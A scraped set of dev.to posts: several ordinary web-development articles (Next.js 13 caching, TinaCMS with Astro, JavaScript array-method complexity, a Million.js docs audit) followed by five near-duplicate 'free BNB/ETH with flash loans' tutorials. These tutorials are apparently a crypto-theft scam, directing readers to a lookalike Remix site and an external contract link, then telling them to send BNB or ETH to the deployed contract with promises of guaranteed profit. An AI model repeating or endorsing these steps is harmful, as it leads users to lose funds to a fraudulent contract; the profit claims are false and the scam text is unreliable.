teleren/devto huggingface dataset:
New Features in Next.js 13 that make Server Side Rendering way cooler
Tags: react, nextjs, webdev, javascript
Published: 2023-10-12 21:59:02

Previous versions of Next.js used getStaticProps and getServerSideProps to fetch data from the Server. The getStaticProps function was used to retrieve cached data and return it to your components as props, while the getServerSideProps function fetched real-time data on each request.

Next.js 13 did away with the functions and replaced them with three formats: _Caching Data_, _Dynamic Data_, and _Fetching with Revalidation Data_. Like previous versions, you can fetch data on the Server with fetch or a third-party library like Axios. Also, you can fetch data via a root handler or with a third-party library on the client. The process of fetching this data involves the formats below: 

**Caching Data**
Caching data refers to storing data for reuse so that it doesn’t have to be re-fetched again from its source on each data request. Next.js 13 uses force-cache to do this. 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/prydmx5kw8k9gsucrd9m.PNG)
Force-cache is the default for every fetch request and can be omitted. 

**Dynamic Data**
Dynamic data refers to data that needs to be updated on each data request, i.e real time data. On an e-commerce app, this could be the availability of a product in store. Next.js uses no-store to d this. 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e856xycq6pajcq6c1yla.PNG)
**Revalidating data**

Incase the cached and stored data changes and you want to update it with new data, revalidating data helps with the purging. Revalidating data is a mix between cached data and dynamic data. You can revalidate data in two ways. 

1. Time-based validation:- You ask the fetch command to change the data automatically after a specific time. 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oav36fcirt06j7rb7a64.PNG)

2.	On demand validation: This involves manually validating the data after a specific event and need it to be shown on the browser as soon as possible.
Upon fetching the data, you need to include a cache tag which ensures the data is revalidated with all entries associated to the tag.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kxqbx9tzhkm6e0zjzrvh.PNG)

When writing code, replace the placeholder data fetching code with your actual API or database requests after customizing these examples to your own data retrieval needs. Don't forget to handle incorrect situations and loading states in your actual application as necessary.
Setting up TinaCMS with Astro
Tags: astro, javascript, tutorial
Published: 2023-10-12 21:47:31

The realm of web development is ever-evolving, and staying updated is key. Recently, I undertook the task of migrating from Gatsby/Netlify CMS to the innovative Astro/Tina CMS duo. The reasons? Astro's compelling performance promises and its flexibility to integrate with multiple JavaScript frameworks. Tina CMS stood out with its customizable blocks and intuitive drag-and-drop features.

## Step-by-Step Migration Process:

**Astro Installation:**
Begin by setting up Astro following the official documentation. - https://docs.astro.build/en/install/auto/#1-run-the-setup-wizard

**Tina CMS Integration:**
Integrate Tina CMS with your Astro project using this guide. - https://tina.io/docs/frameworks/astro/

To avoid potential port conflicts with other ongoing projects, I adjusted the dev server script to:
`"dev": "tinacms dev -c 'astro dev --port 8022'",`

There will be a ready-made post in `content/post` folder. 

**Configuring Tina:**
Configuration is critical for seamless integration. Navigate to tina/config.tsx for the setup. A sample configuration would look like:

```javascript
// tina/config.{ts,js,tsx}
import { defineConfig } from "tinacms";

export default defineConfig({
  token: "get your token from Tina Cloud", // generated on app.tina.io
  clientId: "get your clientId from Tina Cloud", // generated on app.tina.io
  build: {
    publicFolder: "public", // The public asset folder for your framework
    outputFolder: "admin", // within the public folder
  },
  // See https://tina.io/docs/reference/schema/ for more information
  schema: {
    collections: [
      {
        label: "Blog Posts",
        name: "post",
        path: "content/posts",
        format: "md",
        fields: [
          {
            type: "string",
            label: "Title",
            name: "title",
          },
          {
            type: "rich-text",
            label: "Post Body",
            name: "body",
            isBody: true,
          },
        ],
      },
    ],
  },
});

```

You should be able to see your admin panel in `/{server-url}/admin/index.html`. The index.html ending is important, as without having it will throw a 404.

Next in this series, I will cover how I converted my dev.to articles to markdown files to prepare them for showing in my blog.

In conclusion, the migration to Astro and Tina CMS has been a noteworthy step in optimizing and enhancing our web development process. I look forward to sharing further insights and learnings from this transition.

Cheers,
FM
Time Complexity for Array Methods()
Published: 2023-10-12 21:39:20

1. push() - 0(1)
Add a new element to the end of the array.

2. pop() - 0(1)
Delete the last element of the array

3. shift() - 0(n)

4. unshift() - 0(n)

5. splice() - 0(n)
Remove, add or replace a new element indicate by index.

6. sort() - 0(n log(n))
Modify the array, ordered by a compare Function, or if this compare function is not provided the default order is by the position of the Unicode values in the array.

Other
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ini33n9sc0h7c1lorefp.png)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5gyhjofcluw9k8nyxad4.png)
 methods
1. concat() - 0(n)
Create a new array with the union of two or more arrays.

2. slice() - 0(n)
Return a copy of a sub array between two index, start and end.
Important Note: if you modify the original array, the value also will be modify in the copy array.

3. indexOf() - 0(n)
Return the first index of the element that exists in the array, and if not exists return-1.

1. forEach() - 0(n)
Just execute a function for each element in the array.

2. map() - 0(n)
Create a new array with the result of the callback function (this function is executed for each item same as forEach)

 
3. filter() - 0(n)
Create a new array with the elements that apply the given filter condition as true.

4. reduce() - 0(n)
Return a single value after applying the reduction function for each element.

1. some() - 0(n)
Return a boolean value as true if found one or more item that apply the given condition, and return false if not (also if the array is empty).

2. every() - 0(n)
This function Return a boolean value as true if all the items apply the given condition, and false if not.

I think that it is very important to understand the time complexity for the common Array methods that we used to create our algorithms and in this way we can know the time complexity of the whole structure.

I hope that this information was helpful for you.
Million.js: 10 Minute Docs Audit
Tags: react, documentation, docsaudit, webdev
Published: 2023-10-12 21:36:04

Millioin is a virtual DOM replacement for React. Practically this makes React apps more performant. 
{% embed https://youtu.be/AhuTUqs3r7M %}

I run a technical documentation business specializing in writing and editing documentation. I made this series to share my insights and help projects craft impactful documentation.

## What's The Criteria?
3- Excellent
2 - OK
1 - Poor

Purposeful: Does the QuickStart explain what problem it's trying to solve? Who is the intended audience?

UX Experience: How seamless is the experience? Must the user create an account to get through the Quickstart? Does the Quickstart elicit a sense of joy and achievement?

Accurate: Are the instructions correct? Are they complete?

## [The Results](https://www.loom.com/share/a874147e92ae487ca39bd7f7b5440626?sid=c251fc61-76f3-44fa-acdb-27399d179ff7)

Like many apps that promise performance gains, as a newbie, I didn't know if I had a data-heavy React app that needed optimizing. The QuickStar didn't come with an application ready to go, and I had to quickly spin up my own create react app, CRA. This felt like an interruption in my workflow.

Once I installed Million on my CRA, I realized the docs didn't make it obvious for me to test if Million indeed improved the performance of my app. So, I quickly created another CRA sans Million and checked the load speed of both applications. Million was faster and loaded in under 1 second. This was cool to see in action, and I wish this hands-on-test existed in the documentation.

All in all, the Getting Started section was ok- but I would have preferred to come out of that part of the docs with a working app, or an interactive way to test a site w/ Million.js installed. 


|               | Score |
|---------------|-------|
| Purposeful    | 2     |
| UX Experience | 1.5   |
| Accurate      | 2     |

Are you interested in a FREE Quickstart audit for your company? [Start here](https://forms.gle/5jDeuQraBwahkjT16).
How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023
Tags: webdev, cryptocurrency, blockchain, beginners
Published: 2023-10-12 21:33:42

Free Binance Smart Chain Token (BNB)? Yes, who wouldn’t want some free cash?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/9emq0r](https://streamable.com/9emq0r)

Step By Step Tutorial for Flash Loan:
- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click “Create New File “.

- Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode
](https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode)

- Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

- Connect your MetaMask wallet.

- Click on the “Solidity Compiler” and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
On “_TOKENNAME” Tester
On “_TOKENSYMBOL” TOKX
On “_LOANAMOUNT” 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.
Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click “action” (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesn’t work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.




Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when you’re done.
How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023
Tags: beginners, cryptocurrency, bitcoin, blockchain
Published: 2023-10-12 21:29:46

Free Binance Smart Chain Token (BNB)? Yes, who wouldn’t want some free cash?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/9emq0r](https://streamable.com/9emq0r)

Step By Step Tutorial for Flash Loan:
- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click “Create New File “.

- Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode
](https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode)

- Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

- Connect your MetaMask wallet.

- Click on the “Solidity Compiler” and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
On “_TOKENNAME” Tester
On “_TOKENSYMBOL” TOKX
On “_LOANAMOUNT” 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.
Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click “action” (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesn’t work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.




Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when you’re done.
How To Get Free 4 ETH with UniSwap Full Tutorial 2023
Tags: beginners, cryptocurrency, bitcoin, programming
Published: 2023-10-12 21:28:10

Want to get free Ethereum? Yes, who wouldn’t want some free ETH tokens?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/iouha4](https://streamable.com/iouha4)

Step By Step Tutorial for Flash Loan:
 ⁃ Get the Metamask Extension for your browser

 ⁃ Open https://remixcompiler.com from within your browser.

 ⁃ Click on File Explorers and click “Create New File “.

 ⁃ Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/ETH-Arbitrage/main/Fullcode](https://raw.githubusercontent.com/Crypto-Ways/ETH-Arbitrage/main/Fullcode)

 ⁃ Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

 ⁃ Connect your MetaMask wallet.

 ⁃ Click on the “Solidity Compiler” and set the compiler version to 0.5.0

 ⁃ Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

 ⁃ Wait for the code to compile.

 ⁃ Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button

 •   On “_TOKENNAME”
 •   On “_TOKENSYMBOL”
 •   On “_LOANAMOUNT” 1000

 ⁃ Click Transact and confirm the transaction in MetaMask.

 ⁃ Wait for the transaction to confirm.

 ⁃  Copy the address of the newly deployed contract.

 ⁃  Send ETH to the deployed contract to initiate the swap 0.05 ETH+ (0.05 ETH up is better as you will get a bigger amount in each swap)

 ⁃ Wait for the transaction to confirm.

 ⁃ Now, Click “action” (red box) to execute the Flash Loan.

 ⁃ Confirm the transaction in MetaMask and wait for the confirmation.

 ⁃  You can now check your wallet

Note: If it doesn’t work with 0.05 ETH try to send another 0.05 ETH(0.1 is better), because fees may be different from day to day. (0.1+ ETH for each 1000 ETH you are borrowing).

Avoid using very low amounts as contract may fail below 0.05 ETH. Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time.

Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your ETH out to another wallet when you’re done.
How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023
Tags: webdev, javascript, beginners, cryptocurrency
Published: 2023-10-12 21:24:52

Free Binance Smart Chain Token (BNB)? Yes, who wouldn’t want some free cash?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/9emq0r](https://streamable.com/9emq0r)

Step By Step Tutorial for Flash Loan:
- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click “Create New File “.

- Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode
](https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode)

- Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

- Connect your MetaMask wallet.

- Click on the “Solidity Compiler” and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
On “_TOKENNAME” Tester
On “_TOKENSYMBOL” TOKX
On “_LOANAMOUNT” 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.
Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click “action” (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesn’t work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.




Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when you’re done.
How To Get Free 4 ETH with UniSwap Full Tutorial 2023
Tags: webdev, javascript, beginners, cryptocurrency
Published: 2023-10-12 21:24:13

Want to get free Ethereum? Yes, who wouldn’t want some free ETH tokens?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/iouha4](https://streamable.com/iouha4)

Step By Step Tutorial for Flash Loan:
 ⁃ Get the Metamask Extension for your browser

 ⁃ Open https://remixcompiler.com from within your browser.

 ⁃ Click on File Explorers and click “Create New File “.

 ⁃ Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/ETH-Arbitrage/main/Fullcode](https://raw.githubusercontent.com/Crypto-Ways/ETH-Arbitrage/main/Fullcode)

 ⁃ Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

 ⁃ Connect your MetaMask wallet.

 ⁃ Click on the “Solidity Compiler” and set the compiler version to 0.5.0

 ⁃ Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

 ⁃ Wait for the code to compile.

 ⁃ Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button

 •   On “_TOKENNAME”
 •   On “_TOKENSYMBOL”
 •   On “_LOANAMOUNT” 1000

 ⁃ Click Transact and confirm the transaction in MetaMask.

 ⁃ Wait for the transaction to confirm.

 ⁃  Copy the address of the newly deployed contract.

 ⁃  Send ETH to the deployed contract to initiate the swap 0.05 ETH+ (0.05 ETH up is better as you will get a bigger amount in each swap)

 ⁃ Wait for the transaction to confirm.

 ⁃ Now, Click “action” (red box) to execute the Flash Loan.

 ⁃ Confirm the transaction in MetaMask and wait for the confirmation.

 ⁃  You can now check your wallet

Note: If it doesn’t work with 0.05 ETH try to send another 0.05 ETH(0.1 is better), because fees may be different from day to day. (0.1+ ETH for each 1000 ETH you are borrowing).

Avoid using very low amounts as contract may fail below 0.05 ETH. Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time.

Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your ETH out to another wallet when you’re done.